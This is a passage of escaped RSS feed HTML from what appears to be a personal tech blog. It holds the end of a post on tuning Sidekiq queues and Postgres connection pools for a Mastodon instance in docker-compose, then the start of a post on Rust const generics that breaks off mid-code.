style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-pull-default-push&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q pull -q default -q push&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sidekiq-push-default-pull&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;build&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;image&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tootsuite/mastodon:v3.4.6&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;restart&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;always&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;env_file&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;.env.production&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q push -q default -q pull&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;depends_on&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- db&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- redis&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;networks&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- external_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- internal_network&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;volumes&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;- ./public/system:/mastodon/public/system&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;healthcheck&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;test&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;[&lt;span style=&#34;color:#00f&#34;&gt;&amp;#39;CMD-SHELL&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;ps aux | grep &amp;#39;[s]idekiq\ 6&amp;#39; || false&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;&#xA;&lt;h3 id=&#34;fully-utilize-your-database&#34;&gt;Fully Utilize Your Database&lt;/h3&gt;&#xA;&lt;p&gt;Now that it&amp;rsquo;s got more to work with,&#xA;take note of the &lt;code&gt;max_connections&lt;/code&gt; parameter you set for Postgres.&#xA;Ideally, those connections would be mostly, but not completely, utilized.&#xA;&lt;strong&gt;Database contention will slow you down.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;DB_POOL&lt;/code&gt; variable controls how many database connections a Ruby on&#xA;Rails process will use.&#xA;(&lt;code&gt;MAX_THREADS&lt;/code&gt; controls this for Puma, the server used in &lt;code&gt;web&lt;/code&gt;.)&#xA;In Mastodon, the relevant Rails processes are in the&#xA;Docker-Compose services &lt;code&gt;web&lt;/code&gt;, &lt;code&gt;streaming&lt;/code&gt;, and whatever Sidekiq services you&amp;rsquo;ve&#xA;configured.&#xA;In &lt;code&gt;docker-compose.yml&lt;/code&gt;, you can change these variable by adding a section like&#xA;the following to each relevant service:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yml&#34; data-lang=&#34;yml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;environment&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;- DB_POOL=value&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On &lt;code&gt;sidekiq&lt;/code&gt; services, also add the &lt;code&gt;-c&lt;/code&gt; option to the &lt;code&gt;sidekiq&lt;/code&gt; invocation,&#xA;with the same value as the &lt;code&gt;DB_POOL&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-yml&#34; data-lang=&#34;yml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;command&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;bundle exec sidekiq -q default -q push -q pull -c 25&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;environment&lt;/span&gt;:&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;  &lt;/span&gt;- DB_POOL=25&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition, the &lt;code&gt;web&lt;/code&gt; service takes a variable called &lt;code&gt;WEB_CONCURRENCY&lt;/code&gt; to&#xA;control how many processes it runs.&#xA;Similarly, &lt;code&gt;streaming&lt;/code&gt; has &lt;code&gt;STREAMING_CLUSTER_NUM&lt;/code&gt; to control the number&#xA;of processes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The sum of &lt;code&gt;MAX_THREADS&lt;/code&gt; times &lt;code&gt;WEB_CONCURRENCY&lt;/code&gt; in &lt;code&gt;web&lt;/code&gt;,&#xA;&lt;code&gt;STREAMING_CLUSTER_NUM&lt;/code&gt; times &lt;code&gt;DB_POOL&lt;/code&gt; in &lt;code&gt;streaming&lt;/code&gt;,&#xA;and all the &lt;code&gt;sidekiq&lt;/code&gt; &lt;code&gt;DB_POOL&lt;/code&gt; variables, must be less than &lt;code&gt;max_connections&lt;/code&gt;&#xA;in your Postgres config.&lt;/strong&gt;&#xA;If it&amp;rsquo;s more, you&amp;rsquo;ll experience database contention.&lt;/p&gt;&#xA;&lt;p&gt;In the example above,&#xA;assuming the rest of the configuration is default and you have 200 database&#xA;connections available, I&amp;rsquo;d set the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;web&lt;/code&gt;: &lt;code&gt;MAX_THREADS = 10&lt;/code&gt;, &lt;code&gt;WEB_CONCURRENCY=3&lt;/code&gt; for 30 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;streaming&lt;/code&gt;: &lt;code&gt;STREAMING_CLUSTER_NUM = 3&lt;/code&gt;, &lt;code&gt;DB_POOL = 15&lt;/code&gt; for 45 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-default-push-pull&lt;/code&gt;: &lt;code&gt;DB_POOL = 25&lt;/code&gt;, &lt;code&gt;-c 25&lt;/code&gt; for 25 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-default-pull-push&lt;/code&gt;: &lt;code&gt;DB_POOL = 25&lt;/code&gt;, &lt;code&gt;-c 25&lt;/code&gt; for 25 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-pull-default-push&lt;/code&gt;: &lt;code&gt;DB_POOL = 25&lt;/code&gt;, &lt;code&gt;-c 25&lt;/code&gt; for 25 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-push-default-pull&lt;/code&gt;: &lt;code&gt;DB_POOL = 25&lt;/code&gt;, &lt;code&gt;-c 25&lt;/code&gt; for 25 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-push-scheduler&lt;/code&gt;: &lt;code&gt;DB_POOL = 5&lt;/code&gt;, &lt;code&gt;-c 5&lt;/code&gt; for 5 connections&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sidekiq-push-mailers&lt;/code&gt;: &lt;code&gt;DB_POOL = 5&lt;/code&gt;, &lt;code&gt;-c 5&lt;/code&gt; for 5 connections&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For a sum of 185 connections.&#xA;This means there will be 15 loose database connections for things like migrations&#xA;and manually connecting to the database to do queries and maintenance.&lt;/p&gt;&#xA;&lt;h3 id=&#34;mastodon-40&#34;&gt;Mastodon 4.0&lt;/h3&gt;&#xA;&lt;p&gt;Weirder Earth does not use Mastodon 4.0, but if you do, you will also have to&#xA;consider the &lt;code&gt;ingress&lt;/code&gt; queue.&lt;/p&gt;&#xA;&lt;h2 id=&#34;into-the-future&#34;&gt;Into the Future&lt;/h2&gt;&#xA;&lt;p&gt;These numbers may not work perfectly for you, and you may have to tweak things&#xA;as workloads change.&lt;/p&gt;&#xA;&lt;p&gt;There is more work left to do,&#xA;and we&amp;rsquo;ll only know if this is successful once the next big wave hits,&#xA;but it&amp;rsquo;s definitely better than it was before.&#xA;We also have not figured out how to monitor the instance for future events,&#xA;though the top candidate is, of course, Prometheus and Grafana.&lt;/p&gt;&#xA;&lt;p&gt;Good luck.&#xA;May your timelines run smoothly and your processes never be OOM killed.&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;Wilfred Chan, &amp;ldquo;Mastodon gained 70,000 users after Musk’s Twitter takeover.&#xA;I joined them&amp;rdquo;, The Guardian (2022 11 02).&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;ActivityPub is a W3C Recommendation. See &lt;a href=&#34;https://activitypub.rocks/&#34;&gt;https://activitypub.rocks/&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://weirder.earth/@packbat&#34;&gt;@packbat@weirder.earth&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;I also typo&amp;rsquo;d &lt;code&gt;mailers&lt;/code&gt; as &lt;code&gt;mailer&lt;/code&gt;, which lead to some stalled emails. Don&amp;rsquo;t do that.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>It&#39;s Time to Get Hyped About Const Generics in Rust</title>
      <link>https://nora.codes/post/its-time-to-get-hyped-about-const-generics-in-rust/</link>
      <pubDate>Sat, 06 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://nora.codes/post/its-time-to-get-hyped-about-const-generics-in-rust/</guid>
      <description>&lt;p&gt;One of the most interesting emergent properties of the Rust language has been&#xA;the desire and ability to push more and more information into the type system.&#xA;Other programming languages allow this, but Rust&amp;rsquo;s combination of speed,&#xA;safety, and extremely powerful compile-time computation through both&#xA;types and macros, have lead to a large ecosystem of highly capable&#xA;libraries that do much of their work before the program ever runs.&lt;/p&gt;&#xA;&lt;p&gt;Recent developments in the type system are making it easier than ever for&#xA;programmers to take advantage of that power, and things are only going&#xA;to get more interesting.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;One of the most interesting emergent properties of the Rust language has been&#xA;the desire and ability to push more and more information into the type system.&#xA;Other programming languages allow this, but Rust&amp;rsquo;s combination of speed,&#xA;safety, and extremely powerful compile-time computation through both&#xA;types and macros, have lead to a large ecosystem of highly capable&#xA;libraries that do much of their work before the program ever runs.&lt;/p&gt;&#xA;&lt;p&gt;Recent developments in the type system are making it easier than ever for&#xA;programmers to take advantage of that power, and things are only going&#xA;to get more interesting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;constant-generic-parameters&#34;&gt;Constant Generic Parameters&lt;/h2&gt;&#xA;&lt;p&gt;In Rust 1.51, the &amp;ldquo;const generics MVP&amp;rdquo; was stabilized into the language,&#xA;enabling tons of API and performance improvements.&#xA;These so-called &amp;ldquo;const generics&amp;rdquo;, or &amp;ldquo;constant generic parameters&amp;rdquo;,&#xA;permit values of integral types to used as parameters to generic&#xA;types, traits, and functions, like this example from my&#xA;&lt;a href=&#34;https://lib.rs/crates/nslice&#34;&gt;&lt;code&gt;nslice&lt;/code&gt;&lt;/a&gt; crate:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// A region of memory containing at least `N` `T`s.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; MinSlice&amp;lt;T,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;const&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;usize&lt;/span&gt;&amp;gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// The bounded region of memory. Exactly `N` `T`s.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;head: [T;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;N],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;/// Zero or more remaining `T`s after the `N` in the bounded region.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;tail: [T],&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, &lt;code&gt;T&lt;/code&gt; is a normal type parameter, but &lt;code&gt;N&lt;/code&gt; is a&#xA;&lt;strong&gt;constant generic parameter&lt;/strong&gt;, meaning that the minimum number of elements&#xA;in the &lt;code&gt;MinSlice&lt;/code&gt; is encoded in its type; a &lt;code&gt;MinSlice&amp;lt;_, 16&amp;gt;&lt;/code&gt; isn&amp;rsquo;t the same&#xA;as a &lt;code&gt;MinSlice&amp;lt;_, 32&amp;gt;&lt;/code&gt;, for instance.&lt;/p&gt;&#xA;&lt;h2 id=&#34;const-generics-reduce-runtime-complexity&#34;&gt;Const Generics Reduce Runtime Complexity&lt;/h2&gt;&#xA;&lt;p&gt;This is great, and lets us avoid some runtime checks.&#xA;Whereas a normal slice means getting an &lt;code&gt;Option&lt;/code&gt; (or a possible panic) every&#xA;time we read from it, even if we know the size:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;slice: &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;[&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;u8&lt;/span&gt;]&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Hello, world&amp;#34;&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span 